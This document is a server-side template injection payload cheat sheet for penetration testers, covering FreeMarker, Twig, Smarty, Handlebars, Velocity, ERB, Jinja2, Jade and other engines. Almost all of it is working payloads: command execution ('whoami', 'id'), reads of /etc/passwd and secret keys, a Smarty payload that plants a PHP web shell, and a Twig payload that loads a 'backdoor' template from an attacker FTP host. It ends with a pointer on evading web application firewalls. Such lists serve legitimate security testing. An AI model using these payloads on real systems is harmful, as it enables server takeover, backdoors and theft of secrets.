Server Side Template Injection (SSTI)

Cheat Sheet for Server Side Template Injection from: https://blog.cobalt.io/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68

Polyglot:

${{<%[%'"}}%\

FreeMarker (Java):

${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }

(Java):

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

Twig (PHP):

{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

Smarty (PHP):

{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
`

Handlebars (NodeJS):

wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Velocity:

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

ERB (Ruby):

<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

Django Tricks (Python):

{% debug %} {{settings.SECRET_KEY}}

Tornado (Python):

{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

Mojolicious (Perl):

<%= perl code %>
<% perl code %>

Flask/Jinja2: Identify:

{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}

Flask/Jinja2:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Jade:

#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Razor (.Net):

@(1+2)
@{// C# code}

This is a useful read on how to avoid WAF with SSTI:

https://gusralph.info/jinja2-ssti-research/

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